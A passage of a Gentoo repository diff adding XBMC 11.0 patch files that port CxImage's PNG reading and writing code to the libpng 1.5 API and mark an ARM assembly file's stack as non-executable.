+ 		// the transparency indexes start from 0 for non grayscale palette
+ 		if (!bGrayScale && head.biClrUsed && info.nBkgndIndex)
+ 			SwapIndex(0,(BYTE)info.nBkgndIndex);
++
++#if PNG_LIBPNG_VER > 10399
++		png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color);
++#endif
+ 	}
+ 
+ 	/* set the palette if there is one */
++#if PNG_LIBPNG_VER > 10399
++	png_colorp _palette;
++#endif
+ 	if (GetPalette()){
++#if PNG_LIBPNG_VER <= 10399
+ 		if (!bGrayScale){
+ 			info_ptr->valid |= PNG_INFO_PLTE;
+ 		}
++#endif
+ 
+ 		int nc = GetClrImportant();
+ 		if (nc==0) nc = GetNumColors();
+ 
++		// copy the palette colors
++#if PNG_LIBPNG_VER > 10399
++		_palette = new png_color[nc];
++#else
++		info_ptr->palette = new png_color[nc];
++		info_ptr->num_palette = (png_uint_16) nc;
++#endif
++		for (int i=0; i<nc; i++)
++#if PNG_LIBPNG_VER > 10399
++			GetPaletteColor(i, &_palette[i].red, &_palette[i].green, &_palette[i].blue);
++
++		png_set_PLTE(png_ptr,info_ptr,_palette,nc);
++#else
++			GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue);
++#endif
++
+ 		if (info.bAlphaPaletteEnabled){
+ 			for(WORD ip=0; ip<nc;ip++)
+ 				trans[ip]=GetPaletteColor((BYTE)ip).rgbReserved;
+-			info_ptr->num_trans = (WORD)nc;
+-			info_ptr->valid |= PNG_INFO_tRNS;
+ #if PNG_LIBPNG_VER > 10399
+-			info_ptr->trans_alpha = trans;
++			png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL);
+ #else
++			info_ptr->num_trans = (WORD)nc;
++			info_ptr->valid |= PNG_INFO_tRNS;
+ 			info_ptr->trans = trans;
+ #endif
+ 		}
+-
+-		// copy the palette colors
+-		info_ptr->palette = new png_color[nc];
+-		info_ptr->num_palette = (png_uint_16) nc;
+-		for (int i=0; i<nc; i++)
+-			GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue);
+ 	}  
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+@@ -495,8 +656,12 @@
+ 	}	}	}
+ #endif // CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 
++#if PNG_LIBPNG_VER > 10399
++	int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8));
++#else
+ 	int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8));
+ 	info_ptr->rowbytes = row_size;
++#endif
+ 	BYTE *row_pointers = new BYTE[row_size];
+ 
+ 	/* write the file information */
+@@ -514,7 +679,11 @@
+ 			if (AlphaIsValid()){
+ 				for (long ax=head.biWidth-1; ax>=0;ax--){
+ 					c = BlindGetPixelColor(ax,ay);
++#if PNG_LIBPNG_VER > 10399
++					int px = ax * _channels;
++#else
+ 					int px = ax * info_ptr->channels;
++#endif
+ 					if (!bGrayScale){
+ 						row_pointers[px++]=c.rgbRed;
+ 						row_pointers[px++]=c.rgbGreen;
+@@ -529,7 +698,11 @@
+ #endif //CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			{
+ 				iter.GetRow(row_pointers, row_size);
++#if PNG_LIBPNG_VER > 10399
++				if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#else
+ 				if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#endif
+ 					RGBtoBGR(row_pointers, row_size);
+ 				png_write_row(png_ptr, row_pointers);
+ 			}
+@@ -546,9 +719,14 @@
+ 	png_write_end(png_ptr, info_ptr);
+ 
+ 	/* if you malloced the palette, free it here */
++#if PNG_LIBPNG_VER > 10399
++	if (_palette){
++		delete [] (_palette);
++#else
+ 	if (info_ptr->palette){
+ 		delete [] (info_ptr->palette);
+ 		info_ptr->palette = NULL;
++#endif
+ 	}
+ 
+ 	/* clean up after the write, and free any memory allocated */
diff --git a/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch
new file mode 100644
index 00000000..18c589a1
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch
@@ -0,0 +1,605 @@
+fix building with newer libpng.  patch by Ian Stakenvicius.
+
+https://bugs.gentoo.org/380127
+
+--- a/lib/cximage-6.0/CxImage/ximapng.cpp
++++ b/lib/cximage-6.0/CxImage/ximapng.cpp
+@@ -15,7 +15,11 @@
+ void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message)
+ {
+ 	strcpy(info.szLastError,message);
++#if PNG_LIBPNG_VER > 10499
++	longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 	longjmp(png_ptr->jmpbuf, 1);
++#endif
+ }
+ ////////////////////////////////////////////////////////////////////////////////
+ #if CXIMAGE_SUPPORT_DECODE
+@@ -62,7 +66,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+     /* Set error handling if you are using the setjmp/longjmp method (this is
+     * the normal method of doing things with libpng).  REQUIRED unless you
+     * set up your own error handlers in the png_create_read_struct() earlier. */
++#if PNG_LIBPNG_VER > 10499
++	if (setjmp(png_jmpbuf(png_ptr))) {
++#else
+ 	if (setjmp(png_ptr->jmpbuf)) {
++#endif
+ 		/* Free all of the memory associated with the png_ptr and info_ptr */
+ 		delete [] row_pointers;
+ 		png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL);
+@@ -76,16 +84,34 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	/* read the file information */
+ 	png_read_info(png_ptr, info_ptr);
+ 
++#if PNG_LIBPNG_VER > 10499
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++	png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type,
++		&_interlace_type,&_compression_type,&_filter_type);
++
++	if (info.nEscape == -1){
++		head.biWidth = _width;
++		head.biHeight= _height;
++		info.dwType = CXIMAGE_FORMAT_PNG;
++		longjmp(png_jmpbuf(png_ptr), 1);
++	}
++#else
+ 	if (info.nEscape == -1){
+ 		head.biWidth = info_ptr->width;
+ 		head.biHeight= info_ptr->height;
+ 		info.dwType = CXIMAGE_FORMAT_PNG;
+ 		longjmp(png_ptr->jmpbuf, 1);
+ 	}
++#endif
+ 
+ 	/* calculate new number of channels */
+ 	int channels=0;
++#if PNG_LIBPNG_VER > 10499
++	switch(_color_type){
++#else
+ 	switch(info_ptr->color_type){
++#endif
+ 	case PNG_COLOR_TYPE_GRAY:
+ 	case PNG_COLOR_TYPE_PALETTE:
+ 		channels = 1;
+@@ -101,20 +127,49 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 		break;
+ 	default:
+ 		strcpy(info.szLastError,"unknown PNG color type");
++#if PNG_LIBPNG_VER > 10499
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	//find the right pixel depth used for cximage
++#if PNG_LIBPNG_VER > 10499
++	int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr);
++#else
+ 	int pixel_depth = info_ptr->pixel_depth;
++#endif
+ 	if (channels == 1 && pixel_depth>8) pixel_depth=8;
+ 	if (channels == 2) pixel_depth=8;
+ 	if (channels >= 3) pixel_depth=24;
+ 
++#if PNG_LIBPNG_VER > 10499
++	if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 	if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	/* get metrics */
++#if PNG_LIBPNG_VER > 10499
++	png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit;
++	int _phys_unit_type;
++	png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type);
++	switch (_phys_unit_type)
++	{
++	case PNG_RESOLUTION_UNKNOWN:
++		SetXDPI(_x_pixels_per_unit);
++		SetYDPI(_y_pixels_per_unit);
++		break;
++	case PNG_RESOLUTION_METER:
++		SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		break;
++	}
++#else
+ 	switch (info_ptr->phys_unit_type)
+ 	{
+ 	case PNG_RESOLUTION_UNKNOWN:
+@@ -126,46 +181,94 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 		SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
+ 		break;
+ 	}
++#endif
+ 
++#if PNG_LIBPNG_VER > 10499
++	int _num_palette;
++	png_colorp _palette;
++	png_uint_32 _palette_ret;
++	_palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++	if (_palette_ret && _num_palette>0){
++		SetPalette((rgb_color*)_palette,_num_palette);
++		SetClrImportant(_num_palette);
++	} else if (_bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
++#else
+ 	if (info_ptr->num_palette>0){
+ 		SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette);
+ 		SetClrImportant(info_ptr->num_palette);
+ 	} else if (info_ptr->bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
++#endif
+ 		SetPaletteColor(0,0,0,0);
+ 		SetPaletteColor(1,85,85,85);
+ 		SetPaletteColor(2,170,170,170);
+ 		SetPaletteColor(3,255,255,255);
+ 	} else SetGrayPalette(); //<DP> needed for grayscale PNGs
+ 	
++#if PNG_LIBPNG_VER > 10499
++	int nshift = max(0,(_bit_depth>>3)-1)<<3;
++#else
+ 	int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3;
++#endif
+ 
++#if PNG_LIBPNG_VER > 10499
++	png_bytep _trans_alpha;
++	int _num_trans;
++	png_color_16p _trans_color;
++	png_uint_32 _trans_ret;
++	_trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++	if (_trans_ret && _num_trans!=0){ //palette transparency
++		if (_num_trans==1){
++			if (_color_type == PNG_COLOR_TYPE_PALETTE){
++#else
+ 	if (info_ptr->num_trans!=0){ //palette transparency
+ 		if (info_ptr->num_trans==1){
+ 			if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){
++#endif
++#if PNG_LIBPNG_VER > 10499
++				info.nBkgndIndex = _trans_color->index;
++#else
+ #if PNG_LIBPNG_VER > 10399
+ 				info.nBkgndIndex = info_ptr->trans_color.index;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.index;
+ #endif
++#endif
+ 			} else{
++#if PNG_LIBPNG_VER > 10499
++				info.nBkgndIndex = _trans_color->gray>>nshift;
++#else
+ #if PNG_LIBPNG_VER > 10399
+ 				info.nBkgndIndex = info_ptr->trans_color.gray>>nshift;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.gray>>nshift;
+ #endif
++#endif
+ 			}
+ 		}
++#if PNG_LIBPNG_VER > 10499
++		if (_num_trans>1 && _trans_alpha!=NULL){
++#else
+ 		if (info_ptr->num_trans>1){
++#endif
+ 			RGBQUAD* pal=GetPalette();
+ 			if (pal){
+ 				DWORD ip;
++#if PNG_LIBPNG_VER > 10499
++				for (ip=0;ip<min(head.biClrUsed,(unsigned long)_num_trans);ip++)
++					pal[ip].rgbReserved=_trans_alpha[ip];
++#else
+ 				for (ip=0;ip<min(head.biClrUsed,(unsigned long)info_ptr->num_trans);ip++)
+ #if PNG_LIBPNG_VER > 10399
+ 					pal[ip].rgbReserved=info_ptr->trans_alpha[ip];
+ #else
+ 					pal[ip].rgbReserved=info_ptr->trans[ip];
+ #endif
++#endif
++#if PNG_LIBPNG_VER > 10499
++				for (ip=_num_trans;ip<head.biClrUsed;ip++){
++#else
+ 				for (ip=info_ptr->num_trans;ip<head.biClrUsed;ip++){
++#endif
+ 					pal[ip].rgbReserved=255;
+ 				}
+ 				info.bAlphaPaletteEnabled=true;
+@@ -178,6 +281,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 		int num_trans;
+ 		png_color_16 *image_background;
+ 		if (png_get_tRNS(png_ptr, info_ptr, &trans, &num_trans, &image_background)){
++#if PNG_LIBPNG_VER > 10499
++			info.nBkgndColor.rgbRed   = (BYTE)(_trans_color->red>>nshift);
++			info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift);
++			info.nBkgndColor.rgbBlue  = (BYTE)(_trans_color->blue>>nshift);
++#else
+ #if PNG_LIBPNG_VER > 10399
+ 			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_color.red>>nshift);
+ 			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift);
+@@ -187,6 +295,7 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift);
+ 			info.nBkgndColor.rgbBlue  = (BYTE)(info_ptr->trans_values.blue>>nshift);
+ #endif
++#endif
+ 			info.nBkgndColor.rgbReserved = 0;
+ 			info.nBkgndIndex = 0;
+ 		}
+@@ -202,15 +311,27 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	}
+ 
+ 	// <vho> - flip the RGB pixels to BGR (or RGBA to BGRA)
++#if PNG_LIBPNG_VER > 10499
++	if (_color_type & PNG_COLOR_MASK_COLOR){
++#else
+ 	if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){
++#endif
+ 		png_set_bgr(png_ptr);
+ 	}
+ 
+ 	// <vho> - handle cancel
++#if PNG_LIBPNG_VER > 10499
++	if (info.nEscape) longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 	if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ 	// row_bytes is the width x number of channels x (bit-depth / 8)
++#if PNG_LIBPNG_VER > 10499
++	row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8];
++#else
+ 	row_pointers = new BYTE[info_ptr->rowbytes + 8];
++#endif
+ 
+ 	// turn on interlace handling
+ 	int number_passes = png_set_interlace_handling(png_ptr);
+@@ -221,8 +342,16 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 		SetCodecOption(0);
+ 	}
+ 
++#if PNG_LIBPNG_VER > 10499
++	int chan_offset = _bit_depth >> 3;
++#else
+ 	int chan_offset = info_ptr->bit_depth >> 3;
++#endif
++#if PNG_LIBPNG_VER > 10499
++	int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3;
++#else
+ 	int pixel_offset = info_ptr->pixel_depth >> 3;
++#endif
+ 
+ 	for (int pass=0; pass < number_passes; pass++) {
+ 		iter.Upset();
+@@ -230,7 +359,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 		do	{
+ 
+ 			// <vho> - handle cancel
++#if PNG_LIBPNG_VER > 10499
++			if (info.nEscape) longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 			if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			if (AlphaIsValid()) {
+@@ -241,7 +374,11 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 				BYTE* prow= iter.GetRow(ay);
+ 
+ 				//recover data from previous scan
++#if PNG_LIBPNG_VER > 10499
++				if (_interlace_type && pass>0 && pass!=7){
++#else
+ 				if (info_ptr->interlace_type && pass>0 && pass!=7){
++#endif
+ 					for(ax=0;ax<head.biWidth;ax++){
+ 						long px = ax * pixel_offset;
+ 						if (channels == 2){
+@@ -278,10 +415,17 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ #endif // CXIMAGE_SUPPORT_ALPHA		// vho
+ 			{
+ 				//recover data from previous scan
++#if PNG_LIBPNG_VER > 10499
++				if (_interlace_type && pass>0){
++					iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++					//re-expand buffer for images with bit depth > 8
++					if (_bit_depth > 8){
++#else
+ 				if (info_ptr->interlace_type && pass>0){
+ 					iter.GetRow(row_pointers, info_ptr->rowbytes);
+ 					//re-expand buffer for images with bit depth > 8
+ 					if (info_ptr->bit_depth > 8){
++#endif
+ 						for(long ax=(head.biWidth*channels-1);ax>=0;ax--)
+ 							row_pointers[ax*chan_offset] = row_pointers[ax];
+ 					}
+@@ -291,15 +435,27 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 				png_read_row(png_ptr, row_pointers, NULL);
+ 
+ 				//shrink 16 bit depth images down to 8 bits
++#if PNG_LIBPNG_VER > 10499
++				if (_bit_depth > 8){
++#else
+ 				if (info_ptr->bit_depth > 8){
++#endif
+ 					for(long ax=0;ax<(head.biWidth*channels);ax++)
+ 						row_pointers[ax] = row_pointers[ax*chan_offset];
+ 				}
+ 
+ 				//copy the pixels
++#if PNG_LIBPNG_VER > 10499
++				iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++#else
+ 				iter.SetRow(row_pointers, info_ptr->rowbytes);
++#endif
+ 				//<DP> expand 2 bpp images only in the last pass
++#if PNG_LIBPNG_VER > 10499
++				if (_bit_depth==2 && pass==(number_passes-1))
++#else
+ 				if (info_ptr->bit_depth==2 && pass==(number_passes-1))
++#endif
+ 					expand2to4bpp(iter.GetRow());
+ 
+ 				//go on
+@@ -361,9 +517,13 @@ bool CxImagePNG::Encode(CxFile *hFile)
+    /* Set error handling.  REQUIRED if you aren't supplying your own
+     * error hadnling functions in the png_create_write_struct() call.
+     */
++#if PNG_LIBPNG_VER > 10499
++	if (setjmp(png_jmpbuf(png_ptr))){
++#else
+ 	if (setjmp(png_ptr->jmpbuf)){
+ 		/* If we get here, we had a problem reading the file */
+ 		if (info_ptr->palette) free(info_ptr->palette);
++#endif
+ 		png_destroy_write_struct(&png_ptr,  (png_infopp)&info_ptr);
+ 		cx_throw("Error saving PNG file");
+ 	}
+@@ -372,9 +532,23 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	//png_init_io(png_ptr, hFile);
+ 
+ 	// use custom I/O functions
+-    png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
++	png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
+ 
+ 	/* set the file information here */
++#if PNG_LIBPNG_VER > 10499
++	/* use variables to hold the values so it isnt necessary to png_get them later */
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++	png_byte _channels,_pixel_depth;
++
++	_width = GetWidth();
++	_height = GetHeight();
++	_pixel_depth = (BYTE)GetBpp();
++	_channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1;
++	_bit_depth = (BYTE)(GetBpp()/_channels);
++	_compression_type = PNG_COMPRESSION_TYPE_DEFAULT;
++	_filter_type = PNG_FILTER_TYPE_DEFAULT;
++#else
+ 	info_ptr->width = GetWidth();
+ 	info_ptr->height = GetHeight();
+ 	info_ptr->pixel_depth = (BYTE)GetBpp();
+@@ -382,13 +556,22 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels);
+ 	info_ptr->compression_type = info_ptr->filter_type = 0;
+ 	info_ptr->valid = 0;
++#endif
+ 
+ 	switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){
+ 	case 1:
++#if PNG_LIBPNG_VER > 10499
++		_interlace_type = PNG_INTERLACE_ADAM7;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_ADAM7;
++#endif
+ 		break;
+ 	default:
++#if PNG_LIBPNG_VER > 10499
++		_interlace_type = PNG_INTERLACE_NONE;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_NONE;
++#endif
+ 	}
+ 
+ 	/* set compression level */
+@@ -398,19 +581,38 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 
+ 	if (GetNumColors()){
+ 		if (bGrayScale){
++#if PNG_LIBPNG_VER > 10499
++			_color_type = PNG_COLOR_TYPE_GRAY;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_GRAY;
++#endif
+ 		} else {
++#if PNG_LIBPNG_VER > 10499
++			_color_type = PNG_COLOR_TYPE_PALETTE;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_PALETTE;
++#endif
+ 		}
+ 	} else {
++#if PNG_LIBPNG_VER > 10499
++		_color_type = PNG_COLOR_TYPE_RGB;
++#else
+ 		info_ptr->color_type = PNG_COLOR_TYPE_RGB;
++#endif
+ 	}
+ #if CXIMAGE_SUPPORT_ALPHA
+ 	if (AlphaIsValid()){
++#if PNG_LIBPNG_VER > 10499
++		_color_type |= PNG_COLOR_MASK_ALPHA;
++		_channels++;
++		_bit_depth = 8;
++		_pixel_depth += 8;
++#else
+ 		info_ptr->color_type |= PNG_COLOR_MASK_ALPHA;
+ 		info_ptr->channels++;
+ 		info_ptr->bit_depth = 8;
+ 		info_ptr->pixel_depth += 8;
++#endif
+ 	}
+ #endif
+ 
+@@ -427,14 +629,30 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	/* set metrics */
+ 	png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER);
+ 
++#if PNG_LIBPNG_VER > 10499
++	png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type,
++		_compression_type,_filter_type);
++#else
+ 	png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth,
+ 				info_ptr->color_type, info_ptr->interlace_type,
+ 				PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE);
++#endif
+ 
+ 	//<DP> simple transparency
+ 	if (info.nBkgndIndex >= 0){
++#if PNG_LIBPNG_VER <= 10499
+ 		info_ptr->num_trans = 1;
+ 		info_ptr->valid |= PNG_INFO_tRNS;
++#endif
++#if PNG_LIBPNG_VER > 10499
++		png_color_16 _trans_color;
++		_trans_color.index = (BYTE)info.nBkgndIndex;
++		_trans_color.red   = tc.rgbRed;
++		_trans_color.green = tc.rgbGreen;
++		_trans_color.blue  = tc.rgbBlue;
++		_trans_color.gray  = _trans_color.index;
++		png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color);
++#else
+ #if PNG_LIBPNG_VER > 10399
+ 		info_ptr->trans_alpha = trans;
+ 		info_ptr->trans_color.index = (BYTE)info.nBkgndIndex;
+@@ -450,6 +668,7 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 		info_ptr->trans_values.blue  = tc.rgbBlue;
+ 		info_ptr->trans_values.gray  = info_ptr->trans_values.index;
+ #endif
++#endif
+ 
+ 		// the transparency indexes start from 0 for non grayscale palette
+ 		if (!bGrayScale && head.biClrUsed && info.nBkgndIndex)
+@@ -457,10 +676,16 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	}
+ 
+ 	/* set the palette if there is one */
++#if PNG_LIBPNG_VER > 10499
++	png_colorp _palette = NULL;
++	if (GetPalette()){
++		/* png_set_PLTE() will be called once the palette is ready */
++#else
+ 	if (GetPalette()){
+ 		if (!bGrayScale){
+ 			info_ptr->valid |= PNG_INFO_PLTE;
+ 		}
++#endif
+ 
+ 		int nc = GetClrImportant();
+ 		if (nc==0) nc = GetNumColors();
+@@ -468,20 +693,34 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 		if (info.bAlphaPaletteEnabled){
+ 			for(WORD ip=0; ip<nc;ip++)
+ 				trans[ip]=GetPaletteColor((BYTE)ip).rgbReserved;
++#if PNG_LIBPNG_VER <= 10499
+ 			info_ptr->num_trans = (WORD)nc;
+ 			info_ptr->valid |= PNG_INFO_tRNS;
++#endif
++#if PNG_LIBPNG_VER > 10499
++			png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL);
++#else
+ #if PNG_LIBPNG_VER > 10399
+ 			info_ptr->trans_alpha = trans;
+ #else
+ 			info_ptr->trans = trans;
+ #endif
++#endif
+ 		}
+ 
+ 		// copy the palette colors
++#if PNG_LIBPNG_VER > 10499
++		_palette = new png_color[nc];
++		for (int i=0; i<nc; i++)
++			GetPaletteColor(i, &_palette[i].red, &_palette[i].green, &_palette[i].blue);
++
++		png_set_PLTE(png_ptr,info_ptr,_palette,nc);
++#else
+ 		info_ptr->palette = new png_color[nc];
+ 		info_ptr->num_palette = (png_uint_16) nc;
+ 		for (int i=0; i<nc; i++)
+ 			GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue);
++#endif
+ 	}  
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+@@ -495,8 +734,12 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	}	}	}
+ #endif // CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 
++#if PNG_LIBPNG_VER > 10499
++	int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8));
++#else
+ 	int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8));
+ 	info_ptr->rowbytes = row_size;
++#endif
+ 	BYTE *row_pointers = new BYTE[row_size];
+ 
+ 	/* write the file information */
+@@ -514,7 +757,11 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 			if (AlphaIsValid()){
+ 				for (long ax=head.biWidth-1; ax>=0;ax--){
+ 					c = BlindGetPixelColor(ax,ay);
++#if PNG_LIBPNG_VER > 10499
++					int px = ax * _channels;
++#else
+ 					int px = ax * info_ptr->channels;
++#endif
+ 					if (!bGrayScale){
+ 						row_pointers[px++]=c.rgbRed;
+ 						row_pointers[px++]=c.rgbGreen;
+@@ -529,7 +776,11 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ #endif //CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			{
+ 				iter.GetRow(row_pointers, row_size);
++#if PNG_LIBPNG_VER > 10499
++				if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#else
+ 				if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP
++#endif
+ 					RGBtoBGR(row_pointers, row_size);
+ 				png_write_row(png_ptr, row_pointers);
+ 			}
+@@ -546,9 +797,14 @@ bool CxImagePNG::Encode(CxFile *hFile)
+ 	png_write_end(png_ptr, info_ptr);
+ 
+ 	/* if you malloced the palette, free it here */
++#if PNG_LIBPNG_VER > 10499
++	if (_palette){
++		delete [] (_palette);
++#else
+ 	if (info_ptr->palette){
+ 		delete [] (info_ptr->palette);
+ 		info_ptr->palette = NULL;
++#endif
+ 	}
+ 
+ 	/* clean up after the write, and free any memory allocated */
+--- a/lib/cximage-6.0/CxImage/ximapng.h
++++ b/lib/cximage-6.0/CxImage/ximapng.h
+@@ -69,8 +69,13 @@ class CxImagePNG: public CxImage
+ 
+     static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg)
+ 	{
++#if PNG_LIBPNG_VER > 10499
++		strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255);
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		strncpy((char*)png_ptr->error_ptr,error_msg,255);
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ };
+ 
diff --git a/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch b/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch
new file mode 100644
index 00000000..35ff747d
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch
@@ -0,0 +1,30 @@
+http://trac.xbmc.org/ticket/12735
+
+merged upstream already
+
+From f0e33eefa4b5d46f26811db2f5e943dcd7f2870e Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@gentoo.org>
+Date: Thu, 1 Mar 2012 00:04:49 -0500
+Subject: [PATCH] mark stack as non-executable
+
+Signed-off-by: Mike Frysinger <vapier@gentoo.org>
+---
+ xbmc/utils/fastmemcpy-arm.S |    5 +++++
+ 1 files changed, 5 insertions(+), 0 deletions(-)
+
+diff --git a/xbmc/utils/fastmemcpy-arm.S b/xbmc/utils/fastmemcpy-arm.S
+index 0e810a7..3d77c68 100644
+--- a/xbmc/utils/fastmemcpy-arm.S
++++ b/xbmc/utils/fastmemcpy-arm.S
+@@ -527,3 +527,8 @@ copy_last_3_and_return:
+ 
+ #endif    /* __ARM_ARCH__ < 7 */
+ #endif
++
++#if defined(__linux__) && defined(__ELF__)
++/* we don't need an executable stack */
++.section .note.GNU-stack,"",%progbits
++#endif
+-- 
+1.7.8.4
+
diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch
new file mode 100644
index 00000000..7e6ce676
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch
@@ -0,0 +1,51 @@
+
+Update libpng 1.5 patch: check return values of png_get_PLTE() and
+png_get_tRNS() before using the values to avoid using uninitialized values.
+
+--- a/lib/cximage-6.0/CxImage/ximapng.cpp
++++ b/lib/cximage-6.0/CxImage/ximapng.cpp
+@@ -178,12 +178,14 @@ bool CxImagePNG::Decode(CxFile *hFile)
+ 	int _num_palette;
+ 	png_colorp _palette;
+ #if PNG_LIBPNG_VER > 10399
